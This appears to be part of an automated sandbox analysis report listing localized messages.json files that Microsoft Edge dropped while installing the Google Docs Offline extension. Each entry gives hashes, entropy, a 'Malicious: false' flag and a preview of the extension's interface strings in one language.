SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8068_660546537\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
